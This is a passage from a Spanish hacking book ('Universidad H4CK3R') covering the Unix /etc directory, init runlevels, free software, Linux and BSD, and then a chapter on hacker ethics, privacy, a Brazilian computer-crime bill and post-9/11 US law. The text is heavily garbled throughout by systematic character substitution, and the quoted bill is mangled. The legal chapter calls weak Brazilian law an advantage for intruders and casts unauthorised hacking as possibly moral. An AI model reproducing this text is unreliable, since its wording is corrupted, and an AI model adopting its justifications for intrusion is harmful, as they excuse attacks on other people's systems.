!ue hablan sobre el tema, simplemente bus!ue con su navegador. /a prcticaG 2s
importanteG
= Eodos los secretos estFn en 9Hetc:
(e todos los tesoros escondidos en las entra)as de los sistemas :ni5, algunos de los
ms valiosos se encuentran en ese directorio= es donde se conservan todos los austes.
Vimos en el captulo 9 !ue ;icrosoft OindoPs tiene una entidad llamada el 7egistro y !ue
todo el sistema gira en torno a $l. /a cuestin ocupo gran parte del captulo anterior. 2n el
caso de :ni5, hay ms !ue hablar sobre el sistema de archivos shell y los procesos !ue
se dan en el directorio CLdevD.
" pesar de !ue es la clave para el funcionamiento del sistema F en la prctica, casi todo lo
!ue el administrador del sistema necesita saber est a!u F CLetcD es tan fcil de entender
!ue, en su conunto, no hay mucho tema para hablar de ello. /os austes se almacenan en
archivos de te5to sin formato, legible para las personas. /os autores ven este enfo!ue con
meores oos cuando lo comparan con el registro de OindoPs. Pero como todo, tambi$n
hay algunos inconvenientes con este enfo!ue. /a mayora de ellos provienen de la falta
de normas, lo !ue hace !ue una distribucin :ni5 "3K de 3+;, sea muy diferente de una
Solaris, de Sun, por eemplo.
" diferencia de OindoPs, cuyo registro es grabado en, de dos a cinco archivos, cada
aspecto del sistema :ni5 tiene un archivo diferente, por lo general pe!ue)os y de
contenidos simples. +ueno, para la modularidad del sistema, malo, para la operacin= son
decenas de archivos estandari#ados y otros cientos !ue dependen de la aplicacin.
<bviamente, este escenario es menos complicado !ue la organi#acin de HS2*S en
OindoPs, pero sigue siendo aterrador. .omo beneficio adicional, los sistemas :ni5 nos
libran de las malditas claves ./S3( F para usar un programa como servidor de un script
slo tiene !ue utili#ar las "P3, bien documentadas, mucho ms simples y en lenguae
humano. .omo un dem$rito, las ya mencionadas falta de normas, fuer#a a los usuarios a
especiali#ar sus scripts ms compleos, por!ue no funcionan de la misma manera en
todas las implementaciones.
88
ikimilikiliklik Universidad H4CK3R
F CInitta&: - los 9Runle1els: MParece una &anda de rock, 7ero no lo esN
Poco despu$s del arran!ue, el kernel inicia el primer proceso, el padre de todos, el CinitD.
2l primer paso de CinitD es leer la tabla descriptiva, !ue se almacena en CLdevLinittabD. 2ste
archivo indica a CinitD !ue CdaemonsD van a ser iniciados, los scripts !ue contienen las
tareas del proceso CinitD, el n%mero de terminales !ue se activarn y algunas trampas
0traps1 a las se)ales del sistema, tratndolos con la rutina correcta.
2l CinittabD tambi$n informa a CinitD acerca de los niveles de eecucin 0o runlevels1 del
sistema. /os CrunlevelsD son los diferentes niveles en !ue puede funcionar :ni5, e indican
!ue servicios deben ser iniciados por CinitD y cuales deben ser finali#ados. :n CrunlevelD
inferior indica !ue hay menos servicios en eecucin, uno mayor indica !ue se inician
muchos CdaemonsD. 25aminando un sistema CNed Hat /inu5D, encontramos seis runlevels=
' F Halt= 2l sistema termina sus actividades y se apaga
1 X ;onousuario
& X ;ultiusuario
9 F ;ultiusuario con servicios de red
? F -o se utili#a
I F K11= lo mismo !ue 9, pero en modo grfico
J F Neboot= el sistema se apaga y reinicia sus actividades
.ada versin de :ni5 tiene su propio conunto de CrunlevelsD, incluso diferentes
distribuciones de /inu5 tienen es!uemas diferentes. Por eemplo, en CSlackPare /inu5D y
CHPF:KD el nivel de aplicacin en modo grfico es ? y no I.
.uando se crea CinitD, el n%cleo le pasa a $l, en !ue CrunlevelD debe funcionar el sistema.
Si esta informacin no se pasa, CinittabD dice cul es el valor por defecto. Se puede
cambiar el nivel de eecucin de operacin de :ni5 con el comando Cinit nD, donde CnD es
el n%mero de runlevel al !ue !ueremos 4ir4.
6enga en cuenta !ue los niveles de eecucin slo son listas ordenadas de los procesos
!ue se inician o finali#an. .uando se 4pasa4 de nivel 9 a I 0con el comando init I1, por
eemplo, varios procesos del nivel de eecucin 9 se apagan, antes de arrancar los
CrunlevelsD del nivel de eecucin I. 6enga en cuenta, tambi$n, !ue el usuario puede
invocar manualmente a los programas no previstos para este nivel. 2stando en el nivel 9
0modo te5to1 el usuario puede llamar al servidor K y trabaar en un entorno grfico. -o hay
necesidad de salir del nivel 9 y entrar en el I para eso.
6enga en cuenta !ue los niveles de eecucin son medios para facilitar la administracin,
!ue se iniciarn al arrancar la m!uina. Haciendo un paralelismo con el antiguo ;SF(<S,
hay !ue pensar en ellos como una serie de archivos C"utoe5ec.batD, cada uno de los
cuales inicia una serie de programas diferentes.
6odos los CdaemonsD iniciados en el arran!ue tienen un script en el directorio Cinit.dD. 2n la
mayora de los sistemas /inu5 de este directorio est en CLetcD, en versiones :ni5 eso
vara mucho. 2n HPF:K, por eemplo, estos scripts estn en CLbinLinit.dD. 2llos cargan y
descargan el CdaemonD en la memoria, muestran el estado de eecucin del programa,
recargan la configuracin de los mismos sin detener el proceso F todo depende del
parmetro !ue se pasa al script F y pueden eecutarse manualmente por un superusuario,
89
ikimilikiliklik Universidad H4CK3R
si se !uiere parar o iniciar cual!uier servicio . Sin embargo, se utili#an principalmente para
el es!uema de inicio automtico de los CrunlevelsD.
Hay otro conunto de directorios llamados Crc-.dD, donde C-D es el n%mero del nivel de
eecucin. /os servicios !ue se iniciali#a en Crunlevel 9D, por eemplo, son Crc9.dD. /a
ubicacin de este conunto de directorios tambi$n vara ampliamente entre las diferentes
versiones de :ni5. Puede estar en CLetcD, CLetcLinit.dD, CLsbinD o CLbinD.
2n el directorio Crc-.dD hay varios enlaces simblicos. Piense en los enlaces simblicos 0o
symlinks1 como el e!uivalente a los accesos directos de OindoPs= enlaces !ue apuntan al
archivo real. /os nombres de los symlinks en los directorios tienen la siguiente estructura=
?nnnnom/re_"e_"#emon
CKD puede ser una de las dos letras= CSD o CSD. CSD indica a CinitD !ue el CdaemonD debe ser
iniciali#ado al entrar en ese runlevel, y CSD indica !ue el CdaemonD tiene !ue apagarse o
salir del runlevel. CnnnD es un grupo de tres dgitos !ue indican el orden en !ue se inician o
se apagan los procesos. /os sistemas T-:L/inu5 usan slo dos dgitos. 2l
CnombrecdecdaemonD slo sirve para identificar el CsymlinkD.
:n eemplo prctico. 2l servidor de eFmail, sendmail, tiene !ue ser iniciali#ado cuando
entramos en el tercer nivel. "s !ue hay un symlink !ue apunta a Cinit.dLsendmailD=
S8@Asen"m#i!
2sto le dice a CinitD !ue inicie sendmail en la posicin BA' 0es decir, despu$s de !ue los
servicios con los n%meros ms baos ya hayan sido iniciados1. .uando :ni5 sale del
runlevel 9 0en la parada de la m!uina, por eemplo1, el CsymlinkD correspondiente F
tambi$n se)ala a Cinit.dLsendmailD F es=
K>9Asen"m#i!
indicando a CinitD cundo desconectar el sendmail en la posicin 1&', despu$s de !ue
todos los procesos con la numeracin ms alta de 1&' ya se hayan apagado.
.ada versin de :ni5 tiene un CinittabD y un es!uema de CrunlevelsD !ue, aun!ue
similares, son diferentes. Sugerimos al lector !ue escudri)e todas las versiones de :ni5
!ue tenga a la mano, comparndolas entre s. -o se centre slo en CinittabD= visite todos
los archivos !ue apare#can en ella.
= 0tras ?o-as
2l directorio CLetcD contiene archivos de configuracin importantes. -o es nuestro obetivo
ser una fuente completa de informacin sobre :ni5 F de hecho, este libro slo ro#a la
superficie. Pero una investigacin mas profunda de este directorio ser de gran valor para
el lector.
.omo no hay ning%n secreto en visuali#ar un archivo de te5to, deamos al lector averiguar
por si mismo cmo y para !u$ sirven cada uno de los archivos presentes en CLetcD. "
continuacin se muestra una lista de los archivos ms relevantes en la mayora de
versiones. (ea de leer el libro por una semana y estudia, consultando la pgina del
manual asociada 0man CnombrecdecarchivoD1. "lgunos nombres pueden variar en su
:ni5, pero el archivo correspondiente est ah. Si un archivo apunta a un directorio o a
90
ikimilikiliklik Universidad H4CK3R
otros archivos, visitelos y vea lo !ue contienen.
services
'rotoco!s
inet"BconfC&inet"Bconf
cront#/
'rofi!e
/#s$rc
cs$rc
s$rc
'#ss)"C.ro'Cs$#"o)
$osts
$ostBconf
reso!vBconf
initt#/
fst#/ -vfst#/ en So!#ris0
mt#/
!"BsoBconf
net.ro'
netm#s%s
termc#'C'rintc#'Cscreenrc
to"# !# estrctr# /#Do initB"
to"# !# estrctr# /#Do rcB"
to"# !# estrctr# /#Do sysconfi.
Sugerencia= en lugar de CcatD, utili#a para ver los archivos la orden CmoreD, !ue muestra
una pgina en pantalla a la ve#. Si su sistema tiene, CuseD o ClessD en lugar de CmoreD F es
posible volver a las pginas anteriores.
O<uiero el mio@
Hay varias versiones de :ni5 comerciales, cada una con sus fortale#as y sus debilidades F
incluyendo el precio. 2ntonces, 7cmo saber !ue :ni5 es el meor para usted8 2sta es
una pregunta difcil de responder. Por lo general, el meor :ni5 es el !ue ya utili#a, o el
!ue le es ms familiar. " veces el meor :ni5 es el !ue viene configurado de fbrica, slo
tiene !ue instalar y usar. <tros se basan en precios ms baos. .mo son productos
propietarios, se rigen por estas reglas. Su representante t$cnico es su meor amigo en ese
momento.
Pero hay opciones de :ni5 !ue llamamos libres. Son sistemas operativos como :ni5, pero
cuyo cdigo fuente est abierto F cual!uier persona puede leerlo y saber cmo funciona.
Por lo general son mantenidas por voluntarios o empresas dedicadas a la fabricacin de
sistemas !ue son independientes del proveedor.
:na ve# ms, hay ventaas y desventaas. 2ntre las ventaas, e5iste la certe#a de !ue el
producto no tiene fallos F y si los tuviera, usted mismo los puede arreglar. Pero estate
seguro de !ue no estn ocultos. <tra ventaa es el alto grado de personali#acin !ue
ofrece este sistema. "l ser abierto, cual!uiera puede modificarlo para adaptarlo a sus
intereses.
/as desventaas radican en los paradigmas generados por el modelo tradicional de
negocio, siendo la garanta y el soporte, las ms comentadas. 2sto se soluciona en parte
91
ikimilikiliklik Universidad H4CK3R
por compa)as !ue venden soluciones basadas en estos sistemas, pero todava no est
consolidado un mercado y hay mucho aficionado suelto. Hasta separar el grano de la
paa, muchos han perdido dinero, con ellos F y sin ra#n, echan la culpa al softPare.
= 6i&re como la li&ertad de e7resi/n
2n los primeros das de la informtica, no haba un concepto de softPare libre o
propietario, por!ue todos los programas podan ser libremente compartidos. /os usuarios
de computadoras de entonces, eran casi todos cientficos y el intercambio de informacin
entre ellos era trivial. 2l dinero del mercado de la informtica circulaba slo entre las
compa)as fabricantes de hardPare. Pero a medida !ue pasaba el tiempo, aparecieron
las compa)as de venta de softPare. 2videntemente, no interesaba a estas empresas !ue
su softPare pudiese ser copiado y distribuido de forma gratuita, por lo !ue el cdigo fuente
no se revelaba. 2sto se ha vuelto com%n desde entonces.
Nichard Stallman era un programador !ue trabaa para una empresa privada. <curri !ue
escribi un programa !ue funcionaba realmente bien y !uera compartirlo con la
comunidad :ni5 de entonces F, pero su empleador se lo impidi. Stallmann estaba tan
frustrado !ue se radicali# y dimiti en 1BA?, cre un proyecto F T-: F y una licencia F la
TP/.
2l proyecto T-: F T-:Ys -ot :ni5 F es un intento de crear un clon del :ni5 !ue utili#aba
Stallman, pero sin ning%n cdigo original de "6[6. Se crearon varias herramientas para el
sistema, incluyendo la manipulacin de archivos 0ls, cd, pPd, cat.1 .ompiladores 0gcc y
g@@ para Mortran y ., respectivamente1 y los programas compleos como el lenguae de
scripts CgaPkD y el editor de te5to C2macsD. 2l kernel, sin embargo, nunca se hi#o.
/a TP/ F /icencia P%blica Teneral o T-: Teneral Public /icense F permite
e5plcitamente la distribucin y copia gratuita de softPare bao esta licencia, siempre !ue
el cdigo fuente del programa tambi$n se distribuya. 2sto permite la reutili#acin de
cdigo por otras personas sin restricciones X a no ser !ue no se respeten los derechos de
los propietarios originales de nunca cerrar el cdigo resultante, evitando !ue otros puedan
tener acceso a el.
/os detalles sobre lo !ue es el SoftPare /ibre y de cdigo abierto dan para llenar todas
las pginas de este libro. -uestro obetivo no es versar sobre este tema. ;s informacin
se puede encontrar en el proyecto oficial de T-: 0PPP.gnu.org1. la Mree SoftPare
Moundation 0PPP.fsf.org1 y la <pen Source 3nitiative 0PPP.opensource.org1.
= 5l &aile de los 7ingPinos
.omo hemos visto, el proyecto T-: se estanc en el desarrollo de su propio kernel.
;ientras tanto, un loco estudiante finland$s llamado /inus 6orvalds creo un kernel !ue
sera un fenmeno en todo el mundo= /inu5. 3nicialmente slo era un sistema de
comunicacin con un ++S, el prototipo rpidamente se convirti en un kernel completo.
2n 1BB1, 6orvalds decidi poner /inu5 en la TP/ y las herramientas T-: para usar con
su kernel. Por eso, los puristas del mundo de la informtica 0me incluyo en este grupoG1 se
refieren al sistema como T-:L/inu5 X se sera inusto con el se)or Stallman si no fuera
as.
92
ikimilikiliklik Universidad H4CK3R
Hoy en da /inu5 es un clon de :ni5 de muy bao costo y alto rendimiento. (ise)ado
inicialmente para 3+;FP., se eecuta en m%ltiples plataformas de hardPare con el mismo
cdigo y funcionalidad F hecho todava no logrado por ning%n otro sistema operativo.
2l problema de /inu5 es su triste falta de normas. Hay cientos de distribuciones en todo el
mundo, cada una con una estructura interna F incluyendo una erar!ua de directorios
propia. .omo diimos al comien#o del captulo, la base de :ni5 es el sistema de archivos.
2sto resulta en !ue sistemas !ue tienen el mismo kernel, son incompatibles entre s. 2l
estndar de C/inu5 Standard +aseD, o C/S+D 0PPP.linu5base.org1 es un esfuer#o de las
mayores distribuciones en el mundo para resolver el problema. Se cree !ue en pocos
a)os habr plena compatibilidad entre todas las distribuciones !ue se adhieran a la
norma.
Para saber mas sobre T-:L/inu5, el meor punto de partida es el sitio oficial,
PPP.linu5.org. Para obtener ms informacin, slo tiene !ue buscar con su navegador
favorito. Toogle tiene una direccin dedicada a /inu5 en PPP.google.comLlinu5. Hay
revistas !ue estn disponibles, incluyendo 'inu) <agaNine, el fic3ero linu), 97 'inu), y
muchos buenos libros se pueden encontrar en las libreras. Pero aseg%rese de estudiarlo.
2s obligatorioG
= 5l dia&lillo +ue re
7/inu5 no es suficiente para usted8 7Euieres tener una segunda opinin8 25perimente
las variantes de :ni5 de la :niversidad de +erkeley. .on licencias menos restrictivas !ue
las h TP/, /os sistemas +S( se pueden utili#ar en soluciones !ue la licencia de
T-:L/inu5 no permitira. .ada uno tiene sus propias caractersticas, y una lectura de sus
sitios Peb oficiales sin duda le tentara a probarlos. ;uchos usuarios de h +S( 0Mree+S(,
especialmente1 salieron de /inu5 y dicen !ue no vuelve mas. 3nformacin sobre el +S( se
puede encontrar en=
Mree+S( F PPP.freebsd.org
<pen+S( F PPP.openbsd.org
-et+S( F PPP.netbsd.org
+S( comerciales +S(i F PPP.bsdi.com
Qou can go on -our own wa-
2n estas pocas pginas, se ha tratado de introducir los conceptos principales de sistemas
:ni5. Hay libros enteros escritos para e5plicar slo partes de :ni5, por lo !ue sera
imprudente 0y deshonesto1 intentar condensar en un captulo los contenidos de ellos.
Pero es muy importante !ue el lector estudie :ni5 y bus!ue otros libros y otras fuentes.
Visite regularmente todos los sitios listados en el captulo y recorralos a fondo. -ada es
tan poderoso en manos de un hacker como una cuenta :ni5 en una computadora
conectada a 3nternet.
93
ikimilikiliklik Universidad H4CK3R
Mundamentos
9ur:dicos
.apitulo F I
C"n nescis longas regibus esse manus8D
1
<vdio,en Herodes, 1@=1JJ
1 FYY7* usted no sabe !ue los monarcas tienen manos largas8 4
94
ikimilikiliklik Universidad H4CK3R
Si estas rayando situaciones limite, nunca est de ms tener una visin general de las
cuestiones urdicas !ue te afectan directamente. Pocas situaciones son tan dudosas
como a las !ue se enfrentan los usuarios de computadoras en general y los piratas
informticos en particular. 7Eu$ es el delito8 7Eu$ es legal8. 2l conocimiento es la
principal arma del pirata informtico, !ue debe estar atento a los movimientos reali#ados
por los gobiernos y las polticas establecidas por las empresas en cuanto a manipulacin
de datos. /a ignorancia de las leyes puede tener problemas graves, incluso en casos
sencillos, donde el usuario act%a inocentemente, sin saber !ue est cometiendo un delito.
2star al tanto de los casos !ue ya han ocurrido, de modo !ue no haya duda de dnde y
cmo actuar, es por lo menos, una actitud sabia.
/a palabra ley nos da una ligera idea de estar tratando con el bien y el mal. Hay mucha
discusin acerca de la relatividad de estos conceptos, pero ten en cuenta !ue la $tica !ue
rige el posible contenido de estas leyes viene de la necesidad de proteger a las empresas
y los gobiernos. -o siempre las leyes se hacen para los ciudadanos, no siempre lo !ue es
legal es moralmente correcto. Por lo tanto, los individuos a los !ue la prensa suele llamar
piratas informticos no siempre pueden ser tildados de bandoleros, aun!ue seg%n la ley,
incurran en delitos previstos en ellas. Nobin Hood era un criminal, aun actuando de
acuerdo a unos principios morales muy altos.
/as estrategias generales para la lucha contra los delitos informticos comen#aron a
elaborarse despu$s de los ata!ues terroristas en los 2stados :nidos el 11 de septiembre
de &''1. (esde entonces, el gobierno de los 22.::. comen# a dictar el destino de los
hackers y crackers de todo el mundo, e5igiendo de todos los dems gobiernos, leyes !ue
faciliten la inerencia de 22.::. en estos asuntos, y 4de paso4 en todos los dems ...
APor +uB la sociedad teme a los 8ackersC
Para la sociedad, la imagen de los piratas informticos est estrechamente vinculada con
el crimen. 2ste estereotipo procede de la falta de comprensin del universo digital en el
!ue viven. 2llos son vistos como ladrones y destructores de datos, !ue utili#an medios
ilcitos para el robo, vandalismo, o lavado de dinero.
Tran parte de esa imagen es el resultado de la miope difusin alentada por los medios de
comunicacin. -unca el otro lado, el lado underground, del lado guerrillero, el lado de la
resistencia, se toma en cuenta. Slo las empresas y los gobiernos, algunos de ellos
autoritarios 0aun!ue disfra#ados de democracias1, tienen espacio en los medios de
comunicacin cuando tal evento ocurre.
/a pregunta sigue siendo= 7de verdad te crees todo lo !ue lees8. 6al ve# las noticias de
las &1h no sea la fuente de informacin confiable !ue ests acostumbrado a pensar !ue
es.
6as li&ertades indi1iduales - el derec8o 7ri1ado
-adie tiene el derecho de invadir la privacidad de las personas. 3ncluso declaraciones
aparentemente obvias, como $stas deben incluirse en cual!uier documento o ley !ue se
ocupa de las garantas de inviolabilidad privada. /as constituciones de casi todos los
95
ikimilikiliklik Universidad H4CK3R
pases tienen alg%n dispositivo similar, e incluso la (eclaracin :niversal de (erechos
Humanos prev$ la proteccin de la vida personal y privada ya en sus primeros prrafos.
/o !ue tristemente vemos !ue ocurre todos los das desde el final de la & j Tuerra
;undial, es un resurgimiento de las leyes nacionales !ue buscan un mayor control de los
gobiernos sobre sus ciudadanos. 6odos los das, desde entonces, las nuevas tecnologas
se aplican en sistemas de vigilancia arbitrarios y pol$micos. .on la e5cusa de !ue 4la
polica debe hacer su trabaoD, mucha gente durante todo el siglo KK tuvo sus tel$fonos
intervenidos, violaron su correo, y siguiendo en los a)os B', su actividad en 3nternet fue
vigilada. 7.untos secretos personales F incluso sin ser delito F se dieron a conocer
p%blicamente debido a esta arbitrariedad8
"lgunos pases se autoFproclamaron 4polica mundial4 y, sometieron a pases menos
poderosos a sus polticas. Haci$ndose pasar por ca#adores de terroristas o, para proteger
al mundo contra las personas peligrosas 0metieron en el mismo caldero a los hackers,
terroristas, guerrilleros y comunistas F 7!ui$n no recuerda la Tuerra Mra81, las naciones
poderosas violan la soberana de los pases e imponen sus acuerdos comerciales y
polticas. buena manera de ocultar segundas intenciones, 7no8
/eos de la poltica en esta discusin, los autores !uieren llamar la atencin del lector
sobre el peligro incipiente de la aprobacin de leyes o constituciones dise)adas para
proteger los intereses de terceros y no los de los ciudadanos. Preg%ntele a un abogado
sobre la materia. :sted se sorprender de la cantidad de garantas !ue solicitan las
empresas e5traneras a!u, a e5pensas de las necesidades bsicas de los ciudadanos,
siempre deadas en segundo plano.
.ada moneda tiene dos caras. Hay hackers !ue act%an con un comportamiento
cuestionable. Hay gente bien entrenada husmeando sus secretos en casa o en el trabao.
Hay delincuentes !ue hacen todo por el placer de destruir. "s como hay gobiernos y
empresas con intenciones no muy nobles, hay hackers 0y no son pocos1 !ue realmente
son criminales y deben ser castigados por ello. Hacer leyes !ue protegen a las personas y
entidades p%blicas y privadas de los 4hackers del mal4 sin violar los derechos de
privacidad de los individuos es una tarea muy difcil.
5l derec8o a la informaci/n - los ata+ues a la li&ertad
Puesto !ue no podemos confiar en los gobiernos y sus leyes, 7por !u$ disparar flechas
acusadoras sobre personas !ue el CestablishmentD considera delincuentes8 :sando el
sentido com%n, cual!uier persona en la calle se da cuenta !ue alguien como (imitry
Sklyarov no tena la intencin de hacerle da)o a una empresa como "dobe, sino advertir
a los usuarios potenciales y la propia "dobe !ue su sistema de cifrado era 0y sigue
siendo1 inseguro. Pero la compa)a no estaba de acuerdo, y utili#o los mecanismos
legales previstos por la (igital ;illennium .opyright "ct, la infame (;." para
demandarle.
2ste es uno de muchos casos de leyes inustas o maliciosas !ue trabaan en nombre de
los gobiernos o las grandes corporaciones y en contra del inter$s com%n. 3magine
empresas y particulares confiando ciegamente en el cifrado de "dobe para proteger sus
documentos, sean secretos comerciales o cartas de amor. .on esta demanda contra el
96
ikimilikiliklik Universidad H4CK3R
hacker ruso, "dobe ha tratado de barrer bao la alfombra los problemas de su tecnologa,
en lugar de dar las gracias a Sklyarov o incluso contratarlo para meorarla.
"lgunos meses ms tarde, todos los sitios de noticias de tecnologa divulgaron el intento
de ;icrosoft para transformar en delito la divulgacin de los defectos de softPare por
4agentes no autori#ados4 0l$ase= t% y yo1. .on la e5cusa de !ue la divulgacin de fallos
4dificulta la innovacin4. 6entativas como estas, buscan institucionali#ar la suciedad bao
la alfombra. 2sta iniciativa en su momento no se traduo en una ley. Pero no crea !ue la
pandilla de Nedmond ha renunciado a la idea.
-o slo las empresas se estn beneficiando de estas aberraciones urdicas. /a actual
administracin federal de los 2stados :nidos emiti un documento llamado la (octrina
+ush !ue daba la supremaca de 22.::. y lesiona de forma pornogrfica los derechos de
los ciudadanos de todo el mundo y la soberana de todos los pases del mundo.
6odos los gobiernos y la mayora de las grandes empresas manipulan u ocultan
informacin y crean leyes para !ue sea legal, incluso si la informacin es acerca de usted,
!uerido lector, o si le afecta de alg%n modo. Por eso, la pr5ima ve# !ue un pirata
informtico invada una pagina Peb del gobierno o de una empresa, y haga p%blicos
detalles espelu#nantes acerca de la administracin, !ue pueden ayudarle a elegir,
refle5ione mucho y use el sentido com%n para decidir !ui$n es el bueno y !ui$n es el
malo.
Pero 7son los hackers realmente malos8 7* en situaciones no previstas8 7* los piratas
informticos 4por accidenteD8. 6oda historia tiene dos lados, y lo moralmente correcto no
siempre esta dentro de la ley. Pero a veces lo esta. 4-o u#gu$is, para !ue no seis
u#gados. Por!ue con el criterio por el !ue u#gis, ser$is u#gados ... "s !ue, todo
a!uello !ue !uieren !ue los hombres les hagan, as tambi$n haced vosotros con ellos k. .
402vangelio de San ;ateo @=1,&,1&1.
6a legislaci/n &rasileLa
/a gran ventaa de los hackers brasile)os es la falta de legislacin adecuada para hacer
frente a los delitos electrnicos. /a falta de leyes especficas hace +rasil un refugio para
todo tipo de invasin y manipulacin de datos. /as sanciones se basan en leyes !ue son
cercanas a la situacin de la delincuencia electrnica. /a mayora de los casos resueltos
por las autoridades nacionales son sobre casos de piratera y pedofilia y no por invadir o
4hackear4 sistemas.
/a falta de proteccin legal preocupa mucho al gobierno y las grandes empresas, ya !ue
se ven obligados a gastar grandes sumas de dinero en softPare y e!uipos para garanti#ar
la seguridad de sus datos, y aun as no pueden evitar la accin de los vndalos digitales.
Preocupado por la situacin, varios diputados han planteado proyectos de ley para
detener la accin de los invasores. Pero debido al lento proceso de aprobacin, la
ignorancia total de los parlamentarios sobre el tema y las diversas correcciones y cambios
!ue deben hacerse hasta !ue todo este correcto, los hackers pueden seguir utili#ando sus
habilidades para continuar sus investigaciones. " continuacin, se muestra el apartado
especfico del proyecto de ley creado por el se)or (ecio +raga hacer frente a los delitos
informticos=
97
ikimilikiliklik Universidad H4CK3R
"8rata de los delitos infor(Dticos + otras (edidas"
1;2W8P'T III
17W<-"-S >- I"FT7<;78I1;
'os da4os a los datos o progra(a de co(putadora
;rtculo J. 9orrar* destruir* (odificar o de otra (anera inutiliNar* en todo o en parte* de datos o progra(a de
co(putadora* (al o no autoriNados.
2ena6 prisin de uno a tres a4os + (ulta.
2Drrafo Anico. Si el delito se co(ete6
I ! en contra de los intereses de la Pnin* los -stados* del >istrito Federal* el condado* la dependencia o entidad en la
e(presa* directa o indirecta o la utilidad servicios pA%licosX
II* con un da4o considera%le a la vcti(aX
III ! con el fin de utilidad o ventaja de cualquier tipo* propios o de tercerosX
IU ! el a%uso de confianNaX
U ! +a inAtilX
, ! con el (al uso del proceso de contrase4a o identificacin de la tercera* o
,I ! por cualquier (edio fraudulento otros.
2ena6 prisin de dos a cuatro a4os + (ulta.
;cceso inde%ido o no autoriNado
-l artculo K. 2ara acceder* inde%ido o no autoriNado* el ordenador o la red co(putadoras.
2ena6 prisin de seis (eses a un a4o + (ultado.
-l pri(er pDrrafo. 'a (is(a pena que* sin autoriNacin o
inde%ida(ente o%tenga* (antenga o proporcione algAn tercer (edio de identificacin o de acceso a una co(putadora o
red infor(Dtica.
Segundo pDrrafo. Si el delito se co(ete6
I ! con acceso a una co(putadora o red infor(Dtica del -stado de la Pnin* >istrito Federal* el condado* la dependencia
o entidad en seguro directo o indirecto* de utilidad pA%licaX
II ! con da4os considera%les a la vcti(aX
III!con la intencin de %eneficio o ventaja de cualquier tipo* propios o de tercerosX
IU ! el a%uso de confianNaX
U ! +a inAtilX
, ! con el uso inde%ido de identificacin contrase4a o tercer proceso* o
,I ! por cualquier (edio fraudulento otros.
2ena6 prisin de uno a dos a4os + (ulta.
1a(%iar la contrase4a o (ecanis(o de acceso o progra(a de co(putadora de datos
;rtculo @L Y. 9orrar* destruir* alterar* o no utiliNa%les o contrase4a cualquier otro (ecanis(o de acceso a la
co(putadora* progra(a de ordenador o datos* de (anera no autoriNada o i(propia.
2ena6 prisin de uno a dos a4os + (ulta.
T%tencin de uso inde%ido o no autoriNado de datos o instruccin de co(putadora
;rtculo @@. T%tener* (antener o prestar* sin autoriNacin o por error* +a que o equipo de instruccin.
2ena6 prisin de tres (eses a un a4o + (ultado.
2Drrafo Anico. Si el delito se co(ete6
I ! con acceso a una co(putadora o red infor(Dtica del -stado de la Pnin* >istrito Federal* el condado* la dependencia
o entidad en seguro directo o indirecto* de utilidad pA%licaX
II* con un da4o considera%le a la vcti(aX
III!con la intencin de %eneficio o ventaja de cualquier tipo* propios o de tercerosX
IU ! el a%uso de confianNaX
U ! +a inAtilX
, ! con el uso inde%ido de identificacin contrase4a o tercer proceso* o
,I ! por cualquier (edio fraudulento otros.
2ena6 prisin de uno a dos a4os + (ulta.
Uiolacin de secretos al(acenados en el ordenador* utiliNando cinta (agnMtica naturaleNa del (agnMtico* ptico o
si(ilar.
;rtculo @B. T%tener secretos* la industria o el co(ercio o la infor(acin personal al(acenados en un ordenador* red
infor(Dtica* la naturaleNa electrnica de las (agnMtico* ptico o si(ilar inde%ida(ente autoriNada o no.
2ena6 prisin de uno a tres a4os + (ulta.
98
ikimilikiliklik Universidad H4CK3R
1reacin* desarrollo e integracin de datos en co(putadora o progra(a de co(putadora con la que los da4os
;rtculo @C. 1rear* desarrollar o insertar datos o progra(a de ordenador o red infor(Dtica* (al per(itido o no a finalidad
para eli(inar* destruir* inutiliNar o (odificar datos o progra(a de co(putadora dificultar o en cualquier for(a o i(pedir*
parcial o total(ente el uso de la co(putadora o red infor(Dtica.
2ena6 prisin de uno a cuatro a4os + (ulta.
2Drrafo Anico. Si el delito se co(ete6
I ! en contra de los intereses de la Pnin* los -stados* del >istrito Federal* <unicipio* nacional o
entidad* en co(pa4a directa o indirecta o de servicios pA%licos
servicios pA%licosX
II ! con da4os considera%les a la vcti(aX
III ! con el fin de utilidad o ventaja de cualquier tipo* propios o de tercerosX
IU ! el a%uso de confianNaX
U ! +a inAtilX
UI con el uso inde%ido de identificacin contrase4a o tercer proceso* o UII ! el uso de cualquier otro (edio fraudulento.
2ena6 prisin de dos a seis a4os + (ulta.
Sirviendo a la pornografa a travMs de una red de ordenadores
;rtculo @E. Tferta de servicios o infor(acin pornogrDfica en la red co(putadoras* sin (ostrar previa(ente fDcil(ente
visi%le + pro(inente* advirtiendo acerca de su naturaleNa* contenido e indicando que su inadecuacin para ni4os o
adolescentes.
2ena6 prisin de uno a tres a4os + (ulta.
.omo podemos ver, el proyecto es integral, trata de temas !ue van desde los ata!ues a
los programas, la creacin de virus y programas !ue pueden da)ar datos. Sin duda, 4la
nacin hacker4 tendra la mayor parte de sus actos prohibidos si el contenido de la ley
entra en vigor. Pero adems del proceso de aprobacin de la ley, el gobierno debe crear
las condiciones para !ue se eecuten.
l derec&o internacional despu;s del 11 de septiem+re 2001
= 5n los 5stados Unidos
(espu$s de el fatdico da del 11 de septiembre de &''1, caracteri#ado por los ata!ues a
las 6orres Temelas y el Pentgono, han cambiado muchas cosas en relacin a los piratas
informticos a nivel internacional. 2l mismo da !ue los aviones se estrellaron contra las
6orres Temelas, el M+3 convoco a los principales proveedores de acceso a 3nternet para
!ue instalaran el softPare C.arnivoreD, conocido por su capacidad para filtrar mensaes de
correo electrnico !ue contuviesen palabras y frases relacionadas con el ata!ue.
Por otra parte, el gobierno de 22.::. ba las barreras legales para el uso de las
escuchas telefnicas, eliminando la necesidad de pruebas e incluso derogando la ley !ue
prohbe a la .3" organi#ar asesinatos contra los enemigos e5ternos. /os estudios
reali#ados por el Pentgono sobre los ata!ues cibern$ticos mostraron !ue los atacantes
podran parar el pas, ya !ue las reservas de agua, electricidad y gas estaban controladas
por centros de mando computeri#ados !ue podan ser hackeados remotamente de una
forma ridculamente fcil.
:na de las leyes creadas por el departamento fue la C:S" "ctD, !ue tiene una seccin
especial dedicada al ciberterrorismo. 2n la C:S" "ctD se prev$ una pena para cual!uier
forma de vandalismo electrnico !ue puedan lograr empresas o ciudadanos, incluidas las
invasiones de otros pases. 2sto significa !ue, en caso de rastreo, el atacante ser
sancionado conforme a la ley internacional.
99
ikimilikiliklik Universidad H4CK3R
.on las nuevas leyes y medidas de los 22.::., los legisladores de 22.::. han
convertido a miles de hackers y crackers en terroristas por definicin. :no de los prrafos
